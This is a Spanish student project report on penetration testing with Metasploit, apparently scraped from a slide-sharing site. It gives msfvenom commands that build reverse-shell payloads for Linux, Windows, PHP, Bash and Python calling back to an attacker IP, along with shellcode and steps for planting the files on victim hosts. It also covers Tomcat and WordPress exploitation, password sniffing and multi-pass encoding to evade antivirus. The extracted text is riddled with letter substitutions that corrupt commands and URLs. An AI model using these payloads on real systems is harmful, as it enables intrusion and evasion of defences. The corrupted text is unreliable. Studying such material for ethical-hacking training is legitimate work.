Amenazas lógicas
AMENAZAS EN LA RED- METAPLOIT.pptx
Webinar Gratuito: "Explorando Kali Linux"
Metasploit Class: Shellshock Attack
Network.Penetration.CGSOL
Pruebas de penetración
Sad tema2 pen_test_iii
Clase no5 acceso
Suites de auditorias informáticas
Publicidad

Último (6)

PPTX
Derechos_de_Autor_y_Creative_Commons.pptx
PPTX
Conceptos basicos de Base de Datos y sus propiedades
PPTX
sistemas de informacion.................
PDF
AutoCAD Herramientas para el futuro, Juan Fandiño
PDF
Su punto de partida en la IA: Microsoft 365 Copilot Chat
DOCX
trabajo programacion.docxxdxxxddxdxxdxdxxxdxxdxdxd
Derechos_de_Autor_y_Creative_Commons.pptx
Conceptos basicos de Base de Datos y sus propiedades
sistemas de informacion.................
AutoCAD Herramientas para el futuro, Juan Fandiño
Su punto de partida en la IA: Microsoft 365 Copilot Chat
trabajo programacion.docxxdxxxddxdxxdxdxxxdxxdxdxd
Publicidad

Memoria Pruebas de intrusion mediante Metasploit Framework

  • 1. Pruebas de intrusión mediante Metasploit Framework 2ASIX Proyecto: “Pruebas de intrusión mediante Metasploit Framework“. Erlaitz Parreño Muñoz. Alumno de ASIX 2017/2019. Erlaitz Parreñño Paágiña 1
  • 2. Pruebas de intrusión mediante Metasploit Framework 2ASIX Índice Proyecto 1. Introducción……………………………………………………………………………………… 3 1.1 Objetivos…………….....…………………………………………………………………… 3 2. Conceptos Previos…………...……………………………………………………………….. 4 3. Descripción Sistema Informático.………………………………………………………. 4 3.1 Hardware……………………………………………………………………………………. 4 3.2 Software……………………………………………………………………………………... 4 4. Fases………………………………………………………………………………………………….. 5 4.1 Instalación………………………………………………………………………………… 5-6 4.2 Confiuración……………………………………………………………………………... 7 4.3 Funcionamiento……………………………………………………………………… 8-12 5. Ataques……………………………………………………………………………………………… 13 5.1 Payloads y Consola inversa…..………………………………………………… 13-26 5.2 Exploits Públicos……………………………………………………………………. 26-30 6. Módulos auxiliares……………………………………………………………………….. 31-36 7. Contramedidas……………………………………………………………………………… 37-38 8. Conclusiones……………………………………………………………………………………… 39 9. Biblioirafa………………………………………………………………………………………… 40 Erlaitz Parreñño Paágiña 2
  • 3. Pruebas de intrusión mediante Metasploit Framework 2ASIX 1. Introducción. Este proyecto está enfocado en el campo de la seguridad informátcaa en el cual hacemos uso del llamado en inglés (Pentestngg que signifca pruebas de penetración o intrusión. Esto consistrá en hacer uso de “Exploitsr para tomar el control de la maquina víctma. El signifcado de exploit traducido es: un fragmento de softarea fragmento de datos o secuencia de comandos y/o accionesa utliiada con el fn de aprovechar una vulnerabilidad de seguridad. Estos Exploits se encuentran en una herramienta llamada Metasploit Frametorka que contene gran variedad de exploits almacenados en su base de datos que con una previa confguracióna te permiten explotar la vulnerabilidad en la maquina objetvo o víctma. 1.1 Objetivos En este proyecto vamos a seguir una serie de objetvos mediante el uso de la herramienta Metasploit Frametork:  Como principal objetvo vamos a dejar claro que es y cómo funciona Metasploit Frametork.  Crear maltare y abrir sesiones de Metasploit Frametork para comprometer maquinas en diferentes Sistemas Operatvos y aplicaciones.  Uso de exploits públicos almacenados para comprometer servicios como ( HTTPa aplicacionesa etcg.  La utliiación de módulos auxiliares. Erlaitz Parreñño Paágiña 3
  • 4. Pruebas de intrusión mediante Metasploit Framework 2ASIX 2. Conceptos Previos Este tpo de ataques se pueden realiiar para bien o para mal. En el caso de hacer el bien hablamos de hacking étco que consiste en reportar las vulnerabilidades encontradas para su posible parcheado. Para mal consistrá en atacar con malas intenciones con la fnalidad de robar información o datos y destrucción o encriptación de los mismos. Estos ataques suelen estar relacionados con grupos cibercriminales. 3. Descripción Sistema Informático En el siguiente punto voy a colocar los componentes con los cuales he podido realiiar el siguiente proyecto: 3.1 Hardware Hoy en día sirve cualquier ordenador pero es recomendable disponer de un procesador de 4 núcleos de arquitectura 64 bitsa 8GB de memoria RAMa Disco duro con al menos 500GB. Mi CPU: Intel-Core I7 4790 3a6Ghi Memoria RAM: 16 GB HYPERX Disco HDD: 2TB Ratón y teclado. 3.2 Software Recomiendo el uso del sistema operatvo Kali-Linux ya que contene muchas librerías y herramientas funcionales para el pestestng. Además del uso de maquinas virtuales para realiiar las pertnentes pruebas en un entorno controlado. MI S.O: Kali-Linux 2019 Softare Extra: Maquinas virtuales en MMAARE y virtualbox. Erlaitz Parreñño Paágiña 4
  • 5. Pruebas de intrusión mediante Metasploit Framework 2ASIX 4. Fases. 4.1 Instalación En esta fase se contemplan las instalaciones y confguraciones necesarias para el buen funcionamiento del proyecto: Instalaremos el sistema operatvo Kali-Linux de arquitectura x64 Bits con el entorno gráfco GNOME que el que viene por defecto. En la misma instalación es recomendable crear una partción aparte para este sistema ya que el uso de este sistema no es para uso recreatvo. Moy a tomar como ejemplo una partción de 40GB EXT4y 2GB de SAAP. Erlaitz Parreñño Paágiña 5
  • 6. Pruebas de intrusión mediante Metasploit Framework 2ASIX Finalmente siguiendo la instalación por defectoa la instalación se completaría. La preiunta es ¿por qué Kali-Linux? La respuesta es simple porque al instalar Kali-Linux tenemos una serie de ventajas: - Disponemos de la herramienta Metasploit Frametork ya instalada y eso nos ahorra tempo ya que requiere instalar muchas librerías en Ruby. - Disponemos de muchas librerías en Python para crear tus propios Scripts relacionados con la seguridad. - Disponemos de muchas herramientas instaladas listas para utliiar. Sobre el idioma no he querido recalcar nada ya que es al gusto de la persona en mi caso el idioma y teclado están en español. Pero perfectamente se pueden colocar en estadunidense. Erlaitz Parreñño Paágiña 6
  • 7. Pruebas de intrusión mediante Metasploit Framework 2ASIX 4.2 Configuración En este punto voy a recalcar la confguración óptma para empeiar a trabajar adecuadamente en Kali-Linux: Primeramente una de las cosas más importantes es agregar las URL de los repositorios de Kali-Linux en el fchero “sources.listr. deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib (OPCIONAL) deb http://http.kali.org/kali kali-rolling main non-free contrib Agregaremos estos tres repositorios en el fchero: /etc/apt/sources.list y guardamos el fchero modifcado. Seguidamente es recomendable actualiiar los repositorios con el siguiente comando: root@kali:~# apt update && upgrade Es recomendable añadir un acceso rápido para ejecutar una terminal ya que los usuarios que hayan utliiado otras distribuciones estén acostumbrados a ello. En Confguración / Teclado / Combinaciones del teclado tenemos que añadir una combinación personaliiada. Por ejemplo Ctrl + alt + t para abrir un terminal se haría de la siguiente forma: Erlaitz Parreñño Paágiña 7
  • 8. Pruebas de intrusión mediante Metasploit Framework 2ASIX Por últmo una herramienta opcional que puede venir muy bien a las personas que abren muchas ventanas en terminales. Para tener una iona de trabajo más estructurada podemos hacer uso de “Terminatorr que te deja abrir múltples terminales en la misma terminal. 4.3 Funcionamiento A contnuación en este punto voy a recalcar el funcionamiento de manera teórica de Metasploit Frametork haciendo referencia al primer objetvo. ¿Qué es Metasploit Framework? El proyecto Metasploit se presenta en el 2003a con el objetvo de Estandariiar y organiiar aspectos caótcos de no estandariiación. En su forma inicial era un paquete de funciones en Perl. Para poder satsfacer las demandas de los usuariosa en el 2006 la versión 3.0 del MSF (Metasploit Frametorkg fue laniadaa totalmente reescrito en Ruby. ¿Qué labor realiza Metasploit Framework en el Pentestini? Actualmente Metasploit es una herramienta pentesta para el desarrollo y ejecución de exploits destnada a auditar vulnerabilidades y ayuda en test de penetración. Erlaitz Parreñño Paágiña 8
  • 9. Pruebas de intrusión mediante Metasploit Framework 2ASIX Está disponible para Unixa MACa Aindots y Linux. En Metasploit dispones de diferentes versiones tal como una open source de la comunidad y otra para empresas: Metasploit Frametork: Es una plataforma open source que soporta investgación de vulnerabilidadesa desarrollo de exploits y creación de herramientas de seguridad personaliiadaa representa la más grande colección de exploits de calidad. (GRATUITOg Metasploit Pro: Habilidad de identfcara auditar y explotar aplicaciones teba laniar campañas de ingeniería social a gran escalaa evasión de antvirusa IDS/IPSa MPN pivotnga Integración de Nexpose a nivel empresaa trabajo colaboratvo y generación informes. El problema es que es costoso (15.000$g / AÑO. ¿Cuál es la arquitectura de Metasploit? Las herramientas son scripts que ayudan a la elaboración de los módulos de Metasploit. Los Pluiins son programas externos que usan recursos de Metasploita como por ejemplo SQLmapa NMAPa etc que se conectan a la MSF BASE. Las interfaces es donde se puede ejecutar mestasploit. Excluyendo que Aeb es para la versión pro. Erlaitz Parreñño Paágiña 9
  • 10. Pruebas de intrusión mediante Metasploit Framework 2ASIX Ahora vamos a hablar de las librerías de Metasploit con su defnición: MSF BASE: Es donde está la confguración y los recursos de Metasploit. Usa recursos de MSF Core. MSF Core: Nos proporciona una API básica con rutnas para desarrollar programas y herramientas REX: Es una librería que meicla funciona para manejo de Socketsa componentes adicionales del sistemaa protocolosa etc. esta librería se usa para la mayoría de las tareas. A contnuación voy a recalcar el vocabulario y módulos que utliia Metasploit: Exploits: Son fragmentos de softare que tenen el fn de aprovechar una vulnerabilidad en un sistema. Payloads: También conocidos como “carga útlra es la parte del maltare que realiia una acción maliciosa. Nops: Son utliiados por los payloads para que se puedan ejecutar de manera satsfactoria en la memoriaa estos evitan que el procesador interrumpa la carga de este. Codifcadores (Encoders:: Estos les sirven a los antvirusa debido a que cuando pasamos nuestros payloads por los codifcadores para que puedan ser utliiados reciben una frmaa los antvirus han desarrollado la capacidad de detectar esta frmaa esto les deja detener varios ataquesa para evitar esto se creó Meil- Frametork. Auxiliary: Los auxiliares no son comúnmente utliiados para explotara están orientados a navegadores teba la mayoría de ellos son utliiados para Informaton gatheringa como hacking con buscadores. Erlaitz Parreñño Paágiña 10
  • 11. Pruebas de intrusión mediante Metasploit Framework 2ASIX ¿Cómo funciona Metasploit? Para iniciar por consola el Metasploit hacemos uso del comando “msfconsoler ya que es la interfai más completa de operacióna con acceso a todas las opciones del frametorka si no se conocen comandosa teclear en la consola “shot [parámetro]r (Exploitsa Payloadsa etcg para desplegarlos y seleccionar uno de ellos y laniarlo. Para seleccionar un exploit hacemos uso de “use [Nombre Exploit]r Por ejemplo: use exploit/mult/hhp/tomcat_jsp_upload_bypass y optons para ver la confguración del exploit. Con las ordenes set [Nombre] (RHOSTSa RPORTa etcg podemos cambiar la IP por la del objetvo al igual que el puerto y las opciones que tenemos extra. Erlaitz Parreñño Paágiña 11
  • 12. Pruebas de intrusión mediante Metasploit Framework 2ASIX Finalmente para ejecutar el exploit hacemos uso del comando “runr o “exploitr en el terminal para que se ejecute. También disponemos de una opción extra con el comando “checkr que testea el host objetvo para detectar si es vulnerable o no. Este comando es muy útl para no comprometer el equipo. Erlaitz Parreñño Paágiña 12
  • 13. Pruebas de intrusión mediante Metasploit Framework 2ASIX 5. Desarrollo del Proyecto 5.1 Payloads y Consola Inversa En este punto vamos a recalcar como utliiar payloads para diferentes sistemas operatvos y el uso de reverse Shell para obtener el control y tener ejecución de comandos de la maquina comprometdaa haciendo referencia al objetvo número dos. Para comeniar en Metasploit disponemos de un comando que te permite crear payloads para diferentes extensiones. MSFVENOM: Es un generador de paylodad independiente de Metasploit. Esta herramienta es una combinación de msfpayload y msfencode utliiar ambas herramientas en una única instancia. Es potente ya que es una transformación de dos herramientas como msfencode y msfpayload. Con el comando “msfvenom –lr podemos listar los payloads que podemos utliiar: Una cosa a aclarar es que la ejecución con éxito de estos payloads que voy a colocar a contnuación permiten conectarte al host objetvo mediante una Shell y tener acceso con privilegios máximos. Erlaitz Parreñño Paágiña 13
  • 14. Pruebas de intrusión mediante Metasploit Framework 2ASIX Payloads Binarios: Los payloads binarios al ser programados para ser ejecutables se ejecutan y contenen una backdoor que hace que se ejecute una sesión en el host objetvo. Shellcodes: es un programa softare (usualmente escrito en lenguaje ensambladorg representado mediante los códigos binarios de las instruccionesa inyectado por un atacante en el espacio de direcciones de un proceso. Un ejemplo es que la utliiación de este código en hexadecimal es el resultado de una /bin/sh: char *shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80"; Entonces los payloads se encargan de ejecutar códigos binarios que en realidad son órdenes o comandos en el host objetvo apuntando a nuestra IP y puerto. Con Metasploit puedes iniciar un “handlerr de escucha en cualquier momentoa esto es útl cuando estás ejecutando un backdoor en una máquina y necesitas que se conecte a tu máquina para poder tomar control remoto. A contnuación te mostrare los pasos para levantar un servicio que escucha en el mismo puerto de tu backdoor. Erlaitz Parreñño Paágiña 14
  • 15. Pruebas de intrusión mediante Metasploit Framework 2ASIX Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Creara un fchero elf que es ejecutable en el sistema Linux ejecutando una Shell a la IP y Puerto colocado. 1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg 2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag 3- Ejecutamos el handler en Metasploit Frametork (Atacanteg Erlaitz Parreñño Paágiña 15
  • 16. Pruebas de intrusión mediante Metasploit Framework 2ASIX 4- Ejecutamos el fchero ejecutable (elfg en el host víctma (Míctmag 5-Se abre la session en Metasploit y nos da acceso remoto al equipo Ubuntu (Atacanteg Erlaitz Parreñño Paágiña 16
  • 17. Pruebas de intrusión mediante Metasploit Framework 2ASIX Windows: msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe Creara un fchero exe que es ejecutable en el sistema Aindots ejecutando una Shell a la IP y Puerto colocado. 1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg 2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag 3- Ejecutamos el handler en Metasploit Frametork (Atacanteg Erlaitz Parreñño Paágiña 17
  • 18. Pruebas de intrusión mediante Metasploit Framework 2ASIX 4- Ejecutamos el fchero ejecutable (exeg en el host víctma (Míctmag 5- Se abre la session en Metasploit y nos da acceso remoto al equipo Aindots (Atacanteg Erlaitz Parreñño Paágiña 18
  • 19. Pruebas de intrusión mediante Metasploit Framework 2ASIX Payloads Web Los payloads teb están programados para ejecutarse en el servidor al que subamos el fchero infectado. En este caso vamos a crear un payload en PHP para subirlo a un servidor teb y ejecutarlo para nosotros tomar el control del servidor. PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f rat > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php Al subir el fchero PHP en el servidor victma al ejecutar el fchero iniciara una sesión en una Shell apuntando a nuestra IP y puerto teniendo acceso por comandos al servidor. 1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg 2- En este caso es diferente porque tenemos que subir un archivo PHP a un servidor victma en este caso he seleccionado esta teb. (Mictmag Erlaitz Parreñño Paágiña 19
  • 20. Pruebas de intrusión mediante Metasploit Framework 2ASIX 3- Ejecutamos el handler en Metasploit Frametork (Atacanteg Erlaitz Parreñño Paágiña 20
  • 21. Pruebas de intrusión mediante Metasploit Framework 2ASIX 4- Subimos el fchero en el servidor víctma y accedemos al enlace de la shell.php para actvar la sesión en metasploit. (Atacanteg 5- Finalmente accedemos a la sesión y tenemos acceso remoto al servidor teb que esta hosteando la página en php. (Atacanteg 6- Existe otra manera de tener comandos por PHP con otra reverse shell en caso de fallo con la de metasploit Erlaitz Parreñño Paágiña 21
  • 22. Pruebas de intrusión mediante Metasploit Framework 2ASIX (En este caso el servidor tendría que ser Linuxg Payload Script: Los siguientes payloads se realiian a partr de scripts que se ejecutarían en la maquina objetvo. Los más utliiados suelen ser los script en Bash y Python. Contenen comandos del mismo Linux para crear la Shell apuntando a nuestra IP y Puerto. Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f rat > shell.sh Ejecutará un comando en shell para ejecutar una reverse shell en el host objetvo. Erlaitz Parreñño Paágiña 22
  • 23. Pruebas de intrusión mediante Metasploit Framework 2ASIX 1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg 2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag 3- Ejecutamos el handler en Mestasploit Frametork (Atacanteg 4- Ejecutamos el fchero (.shg en el host víctma (Míctmag Erlaitz Parreñño Paágiña 23
  • 24. Pruebas de intrusión mediante Metasploit Framework 2ASIX 5- Finalmente se abre la sesión de Metasploit en la cual tenemos acceso remoto al Ubuntu. Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f rat > shell.py Ejecutará un comando en shell desde python para ejecutar una reverse shell en el host objetvo. 1- Creamos el fchero maltare apuntando a nuestra IP y puerto. (Atacanteg 2- Nos descargamos o enviamos el fchero en el host víctma (Mítcimag Erlaitz Parreñño Paágiña 24
  • 25. Pruebas de intrusión mediante Metasploit Framework 2ASIX 3- Ejecutamos el handler en Mestasploit Frametork (Atacanteg 4- Ejecutamos el fchero (.pyg en el host víctma (Míctmag 5- Finalmente se abre la sesión de Metasploit en la cual tenemos acceso remoto a otro Kali Linux de prueba. Erlaitz Parreñño Paágiña 25
  • 26. Pruebas de intrusión mediante Metasploit Framework 2ASIX 5.2 Exploits Públicos Cuando hablamos de exploits almacenados estoy haciendo referencia a las vulnerabilidades publicadas públicamente por su autores en internet y que han sido programadas en Ruby para poder utliiarlas en Metasploit. Es decir que Metasploit nos permite buscar entre los módulos vulnerabilidades para una gran variedad de servicios. A contnuación voy a poner ejemplos de diferentes exploits que van asociados a la versión del servicio. Todo comienia teniendo que saber la versión del servicio de la víctma así que tenemos que realiiar “fngerprintng y outprintngr que signifcan recolección de información del servidor para poder crear nuestro vector de ataque a una versión en partcular del servicio. Este es un ejemplo de una vulnerabilidad de Tomcat (Servidor Java teb aplicatong. Al ejecutar Apache Tomcat versiones 9.0.0.M1 a 9.0.0, 8.5.0 a 8.5.22, 8.0.0.RC1 a 8.0.46 y 7.0.0 a 7.0.81 con HTTP PUT habilitados (p. Ej., Mediante la configuración de solo lectura parámetro de inicialización del Servlet predeterminado en falso) fue posible cargar un archivo JSP en el servidor a través de una solicitud especialmente diseñada. Erlaitz Parreñño Paágiña 26
  • 27. Pruebas de intrusión mediante Metasploit Framework 2ASIX Este JSP podría solicitarse y cualquier código que contenga sería ejecutado por el servidor. Este exploit hace referencia a CVE-2017-12617 que se encuentra en Metasploit. 2- Colocamos las opciones correctamente y ponemos la contraseña por defecto del servidor tomcat. Erlaitz Parreñño Paágiña 27
  • 28. Pruebas de intrusión mediante Metasploit Framework 2ASIX 3- Ejecutamos el exploit y realiiara un despliegue de un fchero JSP con una reverse shell donde tendremos acceso por comandos al host víctma. Otro ejemplo es otra vulnerabilidad reportada en Aordpress que este módulo Metasploit generará un complementoa empaquetará la carga útl en él y lo cargará en un servidor que ejecuta AordPressa siempre que se utlicen credenciales de administrador válidas. Es valido para cualquier versión solo necesitamos las credenciales que por fueria bruta hemos conseguido del administrador 2- Aqui tenemos un servidor tordpress que la contraseña por defecto es admin/admin Erlaitz Parreñño Paágiña 28
  • 29. Pruebas de intrusión mediante Metasploit Framework 2ASIX 3- Añadimos las opciones correctas en el exploit de metasploit previamente antes de ejecutar el exploit. 4- Ejecutamos el exploit y subimos la reverse_shell mediante el usuario administrador apuntando a nuestra IP y tomamos el control del servidor. Erlaitz Parreñño Paágiña 29
  • 30. Pruebas de intrusión mediante Metasploit Framework 2ASIX Erlaitz Parreñño Paágiña 30
  • 31. Pruebas de intrusión mediante Metasploit Framework 2ASIX 6. Modulos Auxiliares La Recolección de información es la base para cualquier prueba de penetración exitosaa en esta fase el objetvo es recopilar la mayor cantdad de información de modo que nos permita hacernos una idea de los sistemas y programas en funcionamiento. A contnuación veremos 3 técnicas utliiadas en la recolección de información con ayuda de la herramienta Metasploit Frametork y sus módulos auxiliares. - Escaneo de Puertos - Identfcación de Servicios - Snifng de Contraseñas Escaneo de puertos: A través del escaneo de puertos podremos identfcar posibles vulnerabilidadesa antes de comeniar a utliiar los módulos dentro de Metasploit una de las buenas práctcas es operar junto a la base de datos interna asignada por el gestor postgreSQL y crear un espacio de trabajo dedicada a la auditoría en específcoa esto nos facilita el trabajo cuando debamos generar el informe fnal. Una característca de Mestasploita es que nos permite ver de manera organiiada nuestros descubrimientos y poder identfcar separadamente los hosta servicesa torkspacea notesa loot y vulns. Db_connect: Nos permitrá conectar con una base de datos existente en el sistema. Erlaitz Parreñño Paágiña 31
  • 32. Pruebas de intrusión mediante Metasploit Framework 2ASIX Db_disconnect: Nos permitrá desconectar de la instancia de la base de datos actual. Db_export: Nos permitrá exporta un archivo con el contenido de la base de datos. Db_import: Nos permitrá importar un archivo de resultado de escaneado. Db_nmap: Nos permitrá ejecutar NMAP dentro de MSF y registrar la salida automátcamente en la base de datos conectada. Db_rebuild_cache: Nos permitrá reconstruir el caché del módulo almacenado en la base de datos. Db_status: Muestra el estado de la base de datos actual (conectadaa desconectada o algunos casos no se encontraráa en este momento debemos inicialiiar la BD con Msfdb initg. Hosts: Nos visualiiará una lista de todos los hosts identfcados previamente con db_nmap o importados en la base de datos. Loot: Nos permitrá visualiiar una lista de los volcados hash extraídos desde una máquina comprometda y registrada en la base de datos conectada a MSF. Notes: Nos visualiiará una lista de todas las notas creadas en la base de datos. Services: Nos visualiiará una lista con todos los servicios identfcados previamente en el host/s registrados en la base de datos. Vulns: Nos permitrá Enumerar todas las vulnerabilidades identfcadas previamente en los host/s. Workspace: Nos permitrá tanto crear como cambiar entre espacios de trabajo registrados en la base de datos. Teniendo claro cuál será nuestro espacio de trabajo donde iremos recompilando la información que vayamos obteniendoa podemos utliiar el comando db_nmap para ejecutar NMAP dentro de la consola de Metasploit de manera Erlaitz Parreñño Paágiña 32
  • 33. Pruebas de intrusión mediante Metasploit Framework 2ASIX que nuestros resultados de análisis sean almacenados automátcamente en nuestra base de datos. Escaneo de puerto (Portscan: Adicionalmente a Nmap también podemos utliiar los módulos auxiliares para realiiar un escanera para el siguiente caso utliiaremos los payload syn. Puede realiiar rápidamente un escaneo de miles de puertos por segundo en una red rápida que no se vea obstaculiiada por fretalls restrictvos. También es relatvamente discreto y sigiloso ya que nunca completa las conexiones TCP. Erlaitz Parreñño Paágiña 33
  • 34. Pruebas de intrusión mediante Metasploit Framework 2ASIX Metasploit también incluye una gran variedad de escáneres para diversos servicios a menudo nos ayuda a determinar servicios potencialmente vulnerables en máquinas de destno. En esta ocasión tenemos smb_version cual nos permitrá identfcar el estado del puerto 445: Sniffini de Contrasesas Un Snifer es una aplicación de redes informátcasa que nos permitrá capturar los paquetes que viajan en la reda en Metasploit disponemos de la herramienta Psnuffle un snifer que nos permitráa de una manera sencilla capturar datos de los protocolos POP3a IMAPa FTP y HTTP (solo petciones GETg. Encoders: Ya hemos visto cómo usar la utlidad msfvenom para generar varias payloads. Sin embargoa estos payloadsa si se usan como estána son más probables de ser detectados por los programas antvirus. Para evitar la detección antvirus de nuestro payloada necesitamos utliiar los codifcadores ofrecidos por la utlidad msfvenom. Erlaitz Parreñño Paágiña 34
  • 35. Pruebas de intrusión mediante Metasploit Framework 2ASIX Se utliiaría de la siguiente maneraa añadiríamos a los comandos anteriormente escritos en el documento pero añadiríamos un parámetro -e (ENCODERg y el nombre del encoder que tenemos en la imagen. Ejemplo: Windows: msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai -f exe > shell.exe Ahora disponemos de un payload codifcado para evadir algunos antvirus no actualiiados. Una cosa importante que recalcar es que hay que ir mirando nuevos codifcadores para poder evitar los AAF y AM. Cuando realiiamos la detección de antvirus sin modifcar el binario estátco en sía siempre es un juego del gato y el ratóna porque las frmas de antvirus se actualiian con frecuencia para detectar cargas útles nuevas y modifcadas. Dentro del Marcoa podemos obtener mejores resultados a través de la codifcación múltplea lo que permite al payload que se codifcará varias veces para eliminar los programas antvirus que comprueban las frmas. la codifcación Erlaitz Parreñño Paágiña 35
  • 36. Pruebas de intrusión mediante Metasploit Framework 2ASIX shikata_ga_nai es polimórfcaa lo que signifca que la carga útl cambiará cada vei que se ejecute el script. msfvenom -p tindots/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e x86/shikata_ga_nai --encoder-space 4096 -i 11 -f exe > shell.exe Aquí utliiamos 3 recuentos en shikata_ga_naia alimentando el código en formato sin procesar en 2 recuentos de codifcación alpha_upper ena que luego se alimenta a otros 3 recuentos de shikata_ga_naia seguidos de 3 recuentos de codifcación de cuenta regresiva ena antes de dirigir fnalmente la salida a El ejecutable deseado. Estamos utliiando un total de 11 bucles de codifcación en un intento de eludir el softare antvirus. Erlaitz Parreñño Paágiña 36
  • 37. Pruebas de intrusión mediante Metasploit Framework 2ASIX 7. Contramedidas Para un usuario comúna detectar un maltare sin las herramientas adecuadas puede resultar muy difcil porque la mayoría de los códigos maliciosos intentan pasar inadvertdos ocultando cualquier comportamiento extraño que pudiera hacer sospechar a la víctma de que su sistema está infectado. Es imprescindible para detectar maltare que los usuarios instalen una solución de seguridad con el objetvo de proteger el sistema de amenaias informátcas que pudieran ingresar a la maquina o dispositvo móvil. Para evitar este tpo de ataquesa los usuarios han de tener en cuenta de que no existe la Aeb 100% segura en Internet y que deben tomar medidas para protegerse. La actualiiación del sistema operatvo y de aquellas aplicaciones más vulnerables ante estos ataques (navegadoresa Flash Player y Javaa principalmenteg resulta crucial para mitgar estos ataques. Pero a veces esto no es sufciente y es necesario contar con un Antvirus que sea capai de detectar este tpo de scripts maliciososa no solo los que utlicen JavaScript sino también los que usen PoterShell. Erlaitz Parreñño Paágiña 37
  • 38. Pruebas de intrusión mediante Metasploit Framework 2ASIX Están siendo utliiados por los ciberdelincuentes para propagar todo tpo de amenaias como troyanosa ransomtare o bots. No obstantea ahora cuentas con medidas de seguridad adecuadas paraa como mínimoa mitgar el alcance de este tpo de ataques. Tan solo debes tomarte la molesta de confgurar aquellas medidas de seguridad que te protegen frente a un ataque de este tpo. Aindots 10a concretamente en sus últmas versiones (desde la Anniversary Update en adelanteg cuenta con grandes mejoras de seguridad a nivel interno y con medidas de mitgación de amenaias que le hacen práctcamente invulnerable ante los exploits (incluso contra una gran cantdad de maltare diferentea como el ransomtareg claroa eso sía siempre y cuando nuestro sistema esté correctamente actualiiado. Si junto a esto evitamos descargar archivos desde fuentes extrañas y de dudosa fabilidad y abrir los archivos adjuntos que nos llegan a través de correos basuraa estaremos bastante protegidos contra todas estas posibles amenaias potenciales. Erlaitz Parreñño Paágiña 38
  • 39. Pruebas de intrusión mediante Metasploit Framework 2ASIX 8. Conclusiones Este proyecto me ha resultado bastante intrigante de realiiarlo por que me ha servido para aprender aún más de la base que ya disponía en la herramienta de Mestasploit desde saber como funciona internamente y poder realiiar pruebas práctcas de hacking con la herramienta. Durante el proyecto se me ha sido complicado encontrar la manera de desarrollarlo ya que tenía muchas ideas en la cabeia y pues tenía de alguna manera que estructurarlas. Sobre todo porque no quería que fuera muy teórico y haya más capturas para entender un poco mejor lo que quería comunicar. Tuvo algunos problemas a la hora de realiiar el proyecto con las pruebas práctcas de hacking porque tenía que buscar exploits y instalar servicios en un servidor para poder hacer funcionar correctamente las “Reverse Shellsr. Tenía que buscar versiones vulnerables y incluso cambiar las contraseñas por defecto a nivel de fchero de confguración. También fue complicado la forma en la que ibas a desarrollar el proyecto hablando de los exploits por dentro ya que todo es un código binario y lenguaje maquina en hexadecimal y sería difcil de explicar que realiia todo exactamente. Finalmente como satsfacción personal me ha gustado realiiar el proyecto ya que amplía mis conocimientos en el tema hacking étco y a la vei puedo compartrlos en la presentación con el jurado y tener la satsfacción de que conoico mejor el mundillo del hacking. Erlaitz Parreñño Paágiña 39
  • 40. Pruebas de intrusión mediante Metasploit Framework 2ASIX 9. Bibliografía hhps://github.com/rapid7/metasploit-frametork/tiki/Hot-to-use-msfvenom hhps://es.tikipedia.org/tiki/Metasploit hhp://ttt.elladodelmal.com/2018/03/metasploit-como-extender-las.html hhp://ttt.reydes.com/d/? q=Fundamentos_de_Metasploit_Frametork_para_la_Explotacion hhps://netsec.ts/?p=331 hhps://ttt.ofensive-security.com/metasploit-unleashed/binary-payloads/ hhps://security.stackexchange.com/questons/78594/choosing-encoder-for- payloads-in-metasploit hhps://ttt.dragonjar.org/desarrollo-de-modulos-auxiliares-hhp-en- metasploit.xhtml hhps://cybersecurity.upv.es/dotnloads/frop.pdf hhps://ttt.hackingmexico.one/blog/2016/10/21/venomshellcode/ Erlaitz Parreñño Paágiña 40